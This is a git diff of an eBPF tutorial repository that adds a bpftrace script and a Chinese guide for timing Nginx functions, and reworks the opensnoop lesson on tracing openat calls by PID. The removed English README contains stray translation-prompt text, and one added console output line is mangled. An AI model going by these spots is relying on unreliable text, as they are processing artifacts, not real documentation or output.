[https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). diff --git a/src/39-nginx/README.zh.md b/src/39-nginx/README.zh.md new file mode 100644 index 00000000..1fa4cf2b --- /dev/null +++ b/src/39-nginx/README.zh.md @@ -0,0 +1,149 @@ +# 使用 eBPF 跟踪 Nginx 请求 + +## 引言 + +Nginx 是世界上最流行的 Web 服务器和反向代理之一,以其高性能、稳定性和低资源消耗而闻名。它广泛用于提供静态内容、负载均衡以及作为动态应用的反向代理。为了保持其性能优势,监控和优化 Nginx 的运行尤为重要,尤其是在处理大量请求时。利用 eBPF(扩展的伯克利包过滤器),可以深入了解 Nginx 的性能表现,识别瓶颈并进行优化,而无需修改源代码或重启服务。 + +eBPF 是一项革命性技术,允许开发人员在 Linux 内核中运行自定义程序。最初设计用于网络数据包过滤,但 eBPF 现已发展为一个多功能工具,广泛应用于跟踪、监控和分析系统行为。通过利用 eBPF,您可以跟踪 Nginx 的关键函数,测量延迟,识别瓶颈,进而优化系统性能。 + +## 背景:Nginx 和 eBPF + +### Nginx + +Nginx 采用事件驱动架构,使其在资源占用极少的情况下能够高效处理成千上万的并发连接。这种高效性依赖于其请求处理、响应生成和事件处理等多个性能关键函数。了解这些函数在不同负载下的表现对于优化 Nginx 的使用至关重要。 + +### eBPF + +eBPF 程序在 Linux 内核的安全沙盒环境中运行。这些程序可以附加到各种钩子上,如系统调用、跟踪点,甚至可以通过 uprobes(用户级探针)附加到用户空间的函数。这使得 eBPF 成为一个强大的系统可观测性工具,可以收集详细的性能数据并实时执行策略。 + +eBPF 的一个常见用例是跟踪函数执行时间,以测量延迟。这对于了解 Nginx 中特定函数的执行时间特别有用,有助于诊断性能问题、优化资源使用,并提高 Nginx 部署的整体效率。 + +### Uprobes + +Uprobes 是一种用于跟踪用户空间应用程序函数的探针,它通过附加到特定用户空间函数的入口和出口点,可以捕获精确的时间信息。然而,需要注意的是,在内核模式 eBPF 运行时使用 uprobes 可能会带来一定的性能开销。为此,您可以考虑使用基于 LLVM JIT/AOT 的用户模式 eBPF 运行时 [bpftime](https://github.com/eunomia-bpf/bpftime)。这种运行时可以在用户空间中运行 eBPF 程序,与内核模式 eBPF 兼容,并有可能降低开销。 + +## Nginx 的性能关键函数 + +以下是 Nginx 中一些性能关键的函数,可以通过 eBPF 进行监控: + +- **ngx_http_process_request**:负责处理传入的 HTTP 请求。监控此函数有助于跟踪请求处理的开始。 +- **ngx_http_upstream_send_request**:当 Nginx 作为反向代理时,负责向上游服务器发送请求。 +- **ngx_http_finalize_request**:完成 HTTP 请求的处理,包括发送响应。跟踪此函数可以衡量整个请求处理的时间。 +- **ngx_event_process_posted**:处理事件循环中的队列事件。 +- **ngx_handle_read_event**:负责处理来自套接字的读取事件,对监控网络 I/O 性能至关重要。 +- **ngx_writev_chain**:负责将响应发送回客户端,通常与写事件循环结合使用。 + +## 使用 bpftrace 跟踪 Nginx 函数 + +为了监控这些函数,我们可以使用 `bpftrace`,一种 eBPF 的高级跟踪语言。以下是一个用于跟踪几个关键 Nginx 函数执行时间的脚本: + +```bt +#!/usr/sbin/bpftrace + +// 监控 HTTP 请求处理的开始 +uprobe:/usr/sbin/nginx:ngx_http_process_request +{ + printf("HTTP 请求处理开始 (tid: %d)\n", tid); + @start[tid] = nsecs; +} + +// 监控 HTTP 请求的完成 +uretprobe:/usr/sbin/nginx:ngx_http_finalize_request +/@start[tid]/ +{ + $elapsed = nsecs - @start[tid]; + printf("HTTP 请求处理时间: %d ns (tid: %d)\n", $elapsed, tid); + delete(@start[tid]); +} + +// 监控向上游服务器发送请求的开始 +uprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +{ + printf("开始向上游服务器发送请求 (tid: %d)\n", tid); + @upstream_start[tid] = nsecs; +} + +// 监控上游请求发送完成 +uretprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +/@upstream_start[tid]/ +{ + $elapsed = nsecs - @upstream_start[tid]; + printf("上游请求发送完成时间: %d ns (tid: %d)\n", $elapsed, tid); + delete(@upstream_start[tid]); +} + +// 监控事件处理的开始 +uprobe:/usr/sbin/nginx:ngx_event_process_posted +{ + printf("事件处理开始 (tid: %d)\n", tid); + @event_start[tid] = nsecs; +} + +// 监控事件处理的完成 +uretprobe:/usr/sbin/nginx:ngx_event_process_posted +/@event_start[tid]/ +{ + $elapsed = nsecs - @event_start[tid]; + printf("事件处理时间: %d ns (tid: %d)\n", $elapsed, tid); + delete(@event_start[tid]); +} +``` + +### 运行脚本 + +要运行上述脚本,先启动 Nginx,然后使用 `curl` 等工具生成 HTTP 请求: + +```bt +# bpftrace /home/yunwei37/bpf-developer-tutorial/src/39-nginx/trace.bt +Attaching 4 probes... +事件处理开始 (tid: 1071) +事件处理时间: 166396 ns (tid: 1071) +事件处理开始 (tid: 1071) +事件处理时间: 87998 ns (tid: 1071) +HTTP 请求处理开始 (tid: 1071) +HTTP 请求处理时间: 1083969 ns (tid: 1071) +事件处理开始 (tid: 1071) +事件处理时间: 92597 ns (tid: 1071) +``` + +该脚本监控了几个 Nginx 函数的开始和结束时间,并打印了每个函数的执行时间。这些数据可以用来分析和优化 Nginx 服务器的性能。 + +## 测试 Nginx 的函数延迟 + +为了更详细地分析函数延迟,您可以使用 `funclatency` 工具,该工具可以测量 Nginx 函数的延迟分布。以下是如何测试 `ngx_http_process_request` 函数的延迟: + +```console +# sudo ./funclatency /usr/sbin/nginx:ngx_http_process_request +tracing /usr/sbin/nginx:ngx_http_process_request... +tracing func ngx_http_process_request in /usr/sbin/nginx... +Tracing /usr/sbin/nginx:ngx_http_process_request. Hit Ctrl-C to exit +^C + nsec : count distribution + 0 -> 1 : 0 | | + 524288 -> 1048575 : 16546 |****************************************| + 1048576 -> 2097151 : 2296 |***** | + 2097152 -> 4194303 : 1264 |*** | + 4194304 -> 8388607 : 293 | | + 8388608 -> 16777215 : 37 | | +Exiting trace of /usr/sbin/nginx:ngx_http_process_request +``` + +### 结果总结 + +上述结果显示了 `ngx_http_process_request` 函数的延迟分布。大多数请求在 524,288 至 1,048,575 纳秒内处理完成,少部分请求处理时间更长。这些信息对于识别性能瓶颈和优化 Nginx 请求处理至关重要。 + +通过使用 `funclatency`,您可以: + +- **识别性能瓶颈**:了解哪些函数执行时间最长,并将优化工作重点放在这些函数上。 +- **监控系统性能**:定期监控函数延迟,确保在高负载下 Nginx 服务器的最佳性能。 +- **优化 Nginx 配置**:利用延迟测量得出的洞察调整 Nginx 设置或修改应用程序,以提高整体性能。 + +您可以在 [bpf-developer-tutorial 仓库](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/33-funclatency) 中找到 `funclatency` 工具。 + +## 结论 + +通过 eBPF 跟踪 Nginx 请求可以为您的 Web 服务器提供宝贵的性能洞察,使您能够监控、分析和优化其操作。使用 `bpftrace` 和 `funclatency` + + 等工具,您可以测量函数执行时间、识别瓶颈,并根据数据做出决策来改进 Nginx 部署。 + +如果您有兴趣了解更多关于 eBPF 的知识,包括更多高级示例和教程,请访问我们的 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或查看我们的网站 [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。 diff --git a/src/39-nginx/trace.bt b/src/39-nginx/trace.bt new file mode 100644 index 00000000..0e34bf50 --- /dev/null +++ b/src/39-nginx/trace.bt @@ -0,0 +1,49 @@ +#!/usr/sbin/bpftrace + +// Monitor the start of HTTP request processing +uprobe:/usr/sbin/nginx:ngx_http_process_request +{ + printf("HTTP request processing started (tid: %d)\n", tid); + @start[tid] = nsecs; +} + +// Monitor when an HTTP request is finalized +uretprobe:/usr/sbin/nginx:ngx_http_finalize_request +/@start[tid]/ +{ + $elapsed = nsecs - @start[tid]; + printf("HTTP request processed in %d ns (tid: %d)\n", $elapsed, tid); + delete(@start[tid]); +} + +// Monitor the start of sending a request to an upstream server +uprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +{ + printf("Upstream request sending started (tid: %d)\n", tid); + @upstream_start[tid] = nsecs; +} + +// Monitor when the upstream request is sent +uretprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +/@upstream_start[tid]/ +{ + $elapsed = nsecs - @upstream_start[tid]; + printf("Upstream request sent in %d ns (tid: %d)\n", $elapsed, tid); + delete(@upstream_start[tid]); +} + +// Monitor the start of event processing +uprobe:/usr/sbin/nginx:ngx_event_process_posted +{ + printf("Event processing started (tid: %d)\n", tid); + @event_start[tid] = nsecs; +} + +// Monitor when event processing is completed +uretprobe:/usr/sbin/nginx:ngx_event_process_posted +/@event_start[tid]/ +{ + $elapsed = nsecs - @event_start[tid]; + printf("Event processed in %d ns (tid: %d)\n", $elapsed, tid); + delete(@event_start[tid]); +} diff --git a/src/4-opensnoop/.config b/src/4-opensnoop/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/4-opensnoop/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/4-opensnoop/README.md b/src/4-opensnoop/README.md index 616488ef..6070ea0b 100644 --- a/src/4-opensnoop/README.md +++ b/src/4-opensnoop/README.md @@ -1,16 +1,16 @@ -# eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid +# eBPF Tutorial by Example 4: Capturing Opening Files and Filter with Global Variables -eBPF(Extended Berkeley Packet Filter)是一种内核执行环境,它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大,是因为它能够在内核运行时捕获和修改数据包或者系统调用,从而实现对操作系统行为的监控和调整。 +eBPF (Extended Berkeley Packet Filter) is a kernel execution environment that allows users to run secure and efficient programs in the kernel. It is commonly used for network filtering, performance analysis, security monitoring, and other scenarios. The power of eBPF lies in its ability to capture and modify network packets or system calls at runtime in the kernel, enabling monitoring and adjustment of the operating system's behavior. -本文是 eBPF 入门开发实践教程的第四篇,主要介绍如何捕获进程打开文件的系统调用集合,并使用全局变量在 eBPF 中过滤进程 pid。 +This article is the fourth part of the eBPF Tutorial by Example, mainly focusing on how to capture the system call collection of process opening files and filtering process PIDs using global variables in eBPF. -在 Linux 系统中,进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口,它们允许用户态程序请求内核执行特定操作。在本教程中,我们关注的是 sys_openat 系统调用,它用于打开文件。 +In Linux system, the interaction between processes and files is achieved through system calls. System calls serve as the interface between user space programs and kernel space programs, allowing user programs to request specific operations from the kernel. In this tutorial, we focus on the sys_openat system call, which is used to open files. -当进程打开一个文件时,它会向内核发出 sys_openat 系统调用,并传递相关参数(例如文件路径、打开模式等)。内核会处理这个请求,并返回一个文件描述符(file descriptor),这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用,我们可以了解进程在什么时候以及如何打开文件。 +When a process opens a file, it issues a sys_openat system call to the kernel and passes relevant parameters (such as file path, open mode, etc.). The kernel handles this request and returns a file descriptor, which serves as a reference for subsequent file operations. By capturing the sys_openat system call, we can understand when and how a process opens a file. -## 在 eBPF 中捕获进程打开文件的系统调用集合 +## Capturing the System Call Collection of Process Opening Files in eBPF -首先,我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用,具体实现如下: +First, we need to write an eBPF program to capture the system call of a process opening a file. The specific implementation is as follows: ```c #include @@ -27,6 +27,7 @@ int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx if (pid_target && pid_target != pid) return false; + // Use bpf_printk to print the process information bpf_printk("Process ID: %d enter sys openat\n", pid); return 0; @@ -36,32 +37,29 @@ int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx char LICENSE[] SEC("license") = "GPL"; ``` -这段 eBPF 程序实现了: +Let's look at the key parts of this program. The global variable `pid_target` is declared with `const volatile`. The `const` means the eBPF program can't modify it (it's read-only from the kernel's perspective), while `volatile` tells the compiler that user-space can modify it before loading the program. This combination lets you pass runtime configuration from user-space to your eBPF program. + +When `pid_target` is 0, the program captures openat calls from all processes. If you set it to a specific PID, it only monitors that process. This filtering happens in the kernel, which is much more efficient than filtering in user-space - you're not wasting resources sending events you don't care about. + +The filtering logic is straightforward. We get the current process ID using `bpf_get_current_pid_tgid()` and shift it right by 32 bits to extract just the PID (the function returns both PID and TID packed into a 64-bit value). Then we check if it matches our target. If not, we return early and skip the event. -1. 引入头文件: 包含了内核数据结构的定义, 包含了 eBPF 程序所需的辅助函数。 -2. 定义全局变量 `pid_target`,用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 -3. 使用 `SEC` 宏定义一个 eBPF 程序,关联到 tracepoint "tracepoint/syscalls/sys_enter_openat"。这个 tracepoint 会在进程发起 `sys_openat` 系统调用时触发。 -4. 实现 eBPF 程序 `tracepoint__syscalls__sys_enter_openat`,它接收一个类型为 `struct trace_event_raw_sys_enter` 的参数 `ctx`。这个结构体包含了关于系统调用的信息。 -5. 使用 `bpf_get_current_pid_tgid()` 函数获取当前进程的 PID 和 TID(线程 ID)。由于我们只关心 PID,所以将其值右移 32 位赋值给 `u32` 类型的变量 `pid`。 -6. 检查 `pid_target` 变量是否与当前进程的 pid 相等。如果 `pid_target` 不为 0 且与当前进程的 pid 不相等,则返回 `false`,不对该进程的 `sys_openat` 调用进行捕获。 -7. 使用 `bpf_printk()` 函数打印捕获到的进程 ID 和 `sys_openat` 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 -8. 将程序许可证设置为 "GPL",这是运行 eBPF 程序的必要条件。 +The annotation `/// @description "Process ID to trace"` above the global variable is special - eunomia-bpf uses it to automatically generate command-line help text. This makes your tool more user-friendly without extra code. -这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程(或所有进程)的 sys_openat 系统调用,并在用户空间输出相关信息。 +This eBPF program can be loaded into the kernel and executed using tools like libbpf or eunomia-bpf. It captures the sys_openat system call of the specified process (or all processes) and outputs relevant information in user-space. -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。完整代码请查看 。 +We use eunomia-bpf to compile and run this example. You can install it from . The complete code is at . -编译运行上述代码: +Compile and run the above code: ```console $ ecc opensnoop.bpf.c Compiling bpf object... Packing ebpf object and config into package.json... $ sudo ecli run package.json -Runing eBPF program... +Running eBPF program... ``` -运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by viewing the `/sys/kernel/debug/tracing/trace_pipe` file: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -69,17 +67,17 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat ``` -此时,我们已经能够捕获进程打开文件的系统调用了。 +At this point, we are able to capture the sys_openat system call for opening files by processes. -## 使用全局变量在 eBPF 中过滤进程 pid +## How Global Variables Work in eBPF -全局变量在 eBPF 程序中充当一种数据共享机制,它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 +Global variables in eBPF are stored in the data section of your compiled program. When you load the eBPF program into the kernel, these variables get their initial values. The neat part is that user-space can modify these values before the program starts running, effectively passing configuration parameters into your kernel code. -在我们的例子中,全局变量 `pid_target` 用于过滤进程 PID。用户态程序可以设置此变量的值,以便在 eBPF 程序中只捕获与指定 PID 相关的 `sys_openat` 系统调用。 +In our example, the global variable `pid_target` is used to filter process PIDs. User space programs can set the value of this variable to capture only the `sys_openat` system calls related to the specified PID in the eBPF program. -使用全局变量的原理是,全局变量在 eBPF 程序的数据段(data section)中定义并存储。当 eBPF 程序加载到内核并执行时,这些全局变量会保持在内核中,可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性,如 `bpf_obj_get_info_by_fd` 和 `bpf_obj_get_info`,获取 eBPF 对象的信息,包括全局变量的位置和值。 +The principle of using global variables is that they are defined and stored in the data section of eBPF programs. When the eBPF program is loaded into the kernel and executed, these global variables are retained in the kernel and can be accessed through BPF system calls. User space programs can use certain features of BPF system calls, such as `bpf_obj_get_info_by_fd` and `bpf_obj_get_info`, to obtain information about the eBPF object, including the position and value of global variables. -可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息: +You can view the help information for opensnoop by executing the command `ecli -h`: ```console $ ecli package.json -h @@ -97,27 +95,24 @@ Built with eunomia-bpf framework. See https://github.com/eunomia-bpf/eunomia-bpf for more information. ``` -可以通过 `--pid_target` 选项来指定要捕获的进程的 pid,例如: +You can specify the PID of the process to capture by using the `--pid_target` option, for example: ```console -$ sudo ./ecli run package.json --pid_target 618 -Runing eBPF program... +$ sudo ./ecli run package.json --pid_target 618 +Running eBPF program... ``` -运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by viewing the `/sys/kernel/debug/tracing/trace_pipe` file: ```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat - <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat +$ sudo cat /sys/kernel/debug/tracing/trace_pipe".\-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat +\-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat ``` -## 总结 - -本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中,我们可以通过定义 `tracepoint__syscalls__sys_enter_open` 和 `tracepoint__syscalls__sys_enter_openat` 函数并使用 `SEC` 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 `bpf_get_current_pid_tgid` 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 `bpf_printk` 函数在内核日志中打印出来。在 eBPF 程序中,我们还可以通过定义一个全局变量 `pid_target` 来指定要捕获的进程的 pid,从而过滤输出,只输出指定的进程的信息。 +## Summary -通过学习本教程,您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 +This article introduces how to use eBPF programs to capture the system calls for process file opening. In an eBPF program, we can capture the system calls for process file opening by defining functions `tracepoint__syscalls__sys_enter_open` and `tracepoint__syscalls__sys_enter_openat` and attaching them to the tracepoints `sys_enter_open` and `sys_enter_openat` using the `SEC` macro. We can use the `bpf_get_current_pid_tgid` function to get the process ID that calls the open or openat system call, and print it out in the kernel log using the `bpf_printk` function. In an eBPF program, we can also filter the output by defining a global variable `pid_target` to specify the pid of the process to be captured, only outputting the information of the specified process. -更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +By learning this tutorial, you should have a deeper understanding of how to capture and filter system calls for specific processes in eBPF. This method has widespread applications in system monitoring, performance analysis, and security auditing. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and a complete tutorial. diff --git a/src/4-opensnoop/README.zh.md b/src/4-opensnoop/README.zh.md new file mode 100644 index 00000000..110646de --- /dev/null +++ b/src/4-opensnoop/README.zh.md @@ -0,0 +1,118 @@ +# eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid + +eBPF(Extended Berkeley Packet Filter)是一种内核执行环境,它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大,是因为它能够在内核运行时捕获和修改数据包或者系统调用,从而实现对操作系统行为的监控和调整。 + +本文是 eBPF 入门开发实践教程的第四篇,主要介绍如何捕获进程打开文件的系统调用集合,并使用全局变量在 eBPF 中过滤进程 pid。 + +在 Linux 系统中,进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口,它们允许用户态程序请求内核执行特定操作。在本教程中,我们关注的是 sys_openat 系统调用,它用于打开文件。 + +当进程打开一个文件时,它会向内核发出 sys_openat 系统调用,并传递相关参数(例如文件路径、打开模式等)。内核会处理这个请求,并返回一个文件描述符(file descriptor),这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用,我们可以了解进程在什么时候以及如何打开文件。 + +## 在 eBPF 中捕获进程打开文件的系统调用集合 + +首先,我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用,具体实现如下: + +```c +#include +#include + +/// @description "Process ID to trace" +const volatile int pid_target = 0; + +SEC("tracepoint/syscalls/sys_enter_openat") +int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx) +{ + u64 id = bpf_get_current_pid_tgid(); + u32 pid = id >> 32; + + if (pid_target && pid_target != pid) + return false; + // Use bpf_printk to print the process information + bpf_printk("Process ID: %d enter sys openat\n", pid); + return 0; +} + +/// "Trace open family syscalls." +char LICENSE[] SEC("license") = "GPL"; +``` + +让我们看看代码的工作原理。首先我们引入了必要的头文件:vmlinux.h 包含内核数据结构的定义,bpf_helpers.h 包含 eBPF 所需的辅助函数。 + +全局变量 `pid_target` 用于过滤指定进程 ID。注意这里使用了 `const volatile` 关键字 `const` 防止 eBPF 程序修改它,而 `volatile` 告诉编译器这个值可能会被用户空间程序修改。设为 0 表示捕获所有进程的 sys_openat 调用。 + +我们使用 `SEC` 宏将程序关联到 tracepoint "tracepoint/syscalls/sys_enter_openat"。这个 tracepoint 会在进程发起 `sys_openat` 系统调用时触发,函数接收一个 `struct trace_event_raw_sys_enter` 类型的参数,包含了系统调用的信息。 + +在函数中,我们使用 `bpf_get_current_pid_tgid()` 获取当前进程的 PID 和 TID(线程 ID),由于我们只关心 PID,所以将返回值右移 32 位,然后检查 `pid_target`——如果设置了特定值且不匹配当前 pid,就直接返回,不进行捕获,最后使用 `bpf_printk()` 打印捕获到的进程 ID。 + +这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程(或所有进程)的 sys_openat 系统调用,并在用户空间输出相关信息。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。完整代码请查看 。 + +编译运行上述代码: + +```console +$ ecc opensnoop.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +$ sudo ecli run package.json +Runing eBPF program... +``` + +运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat + <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat +``` + +此时,我们已经能够捕获进程打开文件的系统调用了。 + +## 使用全局变量在 eBPF 中过滤进程 pid + +全局变量在 eBPF 程序中充当一种数据共享机制,它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 + +在我们的例子中,全局变量 `pid_target` 用于过滤进程 PID。用户态程序可以设置此变量的值,以便在 eBPF 程序中只捕获与指定 PID 相关的 `sys_openat` 系统调用。 + +使用全局变量的原理是,全局变量在 eBPF 程序的数据段(data section)中定义并存储。当 eBPF 程序加载到内核并执行时,这些全局变量会保持在内核中,可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性,如 `bpf_obj_get_info_by_fd` 和 `bpf_obj_get_info`,获取 eBPF 对象的信息,包括全局变量的位置和值。 + +可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息: + +```console +$ ecli package.json -h +Usage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] + +Trace open family syscalls. + +Optional arguments: + -h, --help shows help message and exits + -v, --version prints version information and exits + --verbose prints libbpf debug information + --pid_target Process ID to trace + +Built with eunomia-bpf framework. +See https://github.com/eunomia-bpf/eunomia-bpf for more information. +``` + +可以通过 `--pid_target` 选项来指定要捕获的进程的 pid,例如: + +```console +$ sudo ./ecli run package.json --pid_target 618 +Runing eBPF program... +``` + +运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat + <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat +``` + +## 总结 + +本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中,我们可以通过定义 `tracepoint__syscalls__sys_enter_open` 和 `tracepoint__syscalls__sys_enter_openat` 函数并使用 `SEC` 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 `bpf_get_current_pid_tgid` 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 `bpf_printk` 函数在内核日志中打印出来。在 eBPF 程序中,我们还可以通过定义一个全局变量 `pid_target` 来指定要捕获的进程的 pid,从而过滤输出,只输出指定的进程的信息。 + +通过学习本教程,您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/4-opensnoop/README_en.md b/src/4-opensnoop/README_en.md deleted file mode 100644 index c2648cf9..00000000 --- a/src/4-opensnoop/README_en.md +++ /dev/null @@ -1,122 +0,0 @@ -# eBPF Tutorial by Example 4: Capturing Opening Files and Filter with Global Variables - -eBPF (Extended Berkeley Packet Filter) is a kernel execution environment that allows users to run secure and efficient programs in the kernel. It is commonly used for network filtering, performance analysis, security monitoring, and other scenarios. The power of eBPF lies in its ability to capture and modify network packets or system calls at runtime in the kernel, enabling monitoring and adjustment of the operating system's behavior. - -This article is the fourth part of the eBPF Tutorial by Example, mainly focusing on how to capture the system call collection of process opening files and filtering process PIDs using global variables in eBPF. - -In Linux system, the interaction between processes and files is achieved through system calls. System calls serve as the interface between user space programs and kernel space programs, allowing user programs to request specific operations from the kernel. In this tutorial, we focus on the sys_openat system call, which is used to open files. - -When a process opens a file, it issues a sys_openat system call to the kernel and passes relevant parameters (such as file path, open mode, etc.). The kernel handles this request and returns a file descriptor, which serves as a reference for subsequent file operations. By capturing the sys_openat system call, we can understand when and how a process opens a file. - -## Capturing the System Call Collection of Process Opening Files in eBPF - -First, we need to write an eBPF program to capture the system call of a process opening a file. The specific implementation is as follows: - -```c -#include -#include - -/// @description "Process ID to trace" -const volatile int pid_target = 0; - -SEC("tracepoint/syscalls/sys_enter_openat") -int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx) -{ - u64 id = bpf_get_current_pid_tgid(); - u32 pid = id >> 32; - - if (pid_target && pid_target != pid) - return false; - - // Use bpf_printk to print the process information - bpf_printk("Process ID: %d enter sys openat\n", pid); - return 0; -} - -/// "Trace open family syscalls." -char LICENSE[] SEC("license") = "GPL"; -``` - -This eBPF program implements the following: - -1. Include header files: contains the definition of kernel data structures, and contains the helper functions required by eBPF programs. -2. Define the global variable `pid_target` for filtering a specified process ID. Setting it to 0 captures sys_openat calls from all processes. -3. Use the `SEC` macro to define an eBPF program associated with the tracepoint "tracepoint/syscalls/sys_enter_openat". This tracepoint is triggered when a process initiates the `sys_openat` system call. -4. Implement the eBPF program `tracepoint__syscalls__sys_enter_openat`, which takes a parameter `ctx` of type `struct trace_event_raw_sys_enter`. This structure contains information about the system call. -5. Use the `bpf_get_current_pid_tgid()` function to retrieve the PID and TID (Thread ID) of the current process. Since we only care about the PID, we shift its value 32 bits to the right and assign it to the variable `pid` of Type `u32`. -6. Check if the `pid_target` variable is equal to the current process's PID. If `pid_target` is not 0 and is not equal to the current process's PID, return `false` to skip capturing the `sys_openat` call of that process. -7. Use the `bpf_printk()` function to print the captured process ID and relevant information about the `sys_openat` call. These information can be viewed in user space using BPF tools. -8. Set the program license to "GPL", which is a necessary condition for running eBPF programs.### Instructions -Translate the following Chinese text to English while maintaining the original formatting: - -"This eBPF program can be loaded into the kernel and executed using tools like libbpf or eunomia-bpf. It captures the sys_openat system call of the specified process (or all processes) and outputs relevant information in user-space. - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain combined with Wasm. Its purpose is to simplify the development, building, distribution, and execution of eBPF programs. You can refer to to download and install the ecc compilation toolchain and ecli runtime. We will use eunomia-bpf to compile and run this example. The complete code of this example can be found at . - -Compile and run the above code: - -```console -$ ecc opensnoop.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -$ sudo ecli run package.json -Running eBPF program... -``` - -After running this program, you can view the output of the eBPF program by viewing the `/sys/kernel/debug/tracing/trace_pipe` file: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat - <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat -``` - -At this point, we are able to capture the sys_openat system call for opening files by processes. - -## Filtering Process PID in eBPF using Global Variables - -Global variables act as a data sharing mechanism in eBPF programs, allowing data interaction between user space programs and eBPF programs. This is very useful when filtering specific conditions or modifying the behavior of eBPF programs. This design 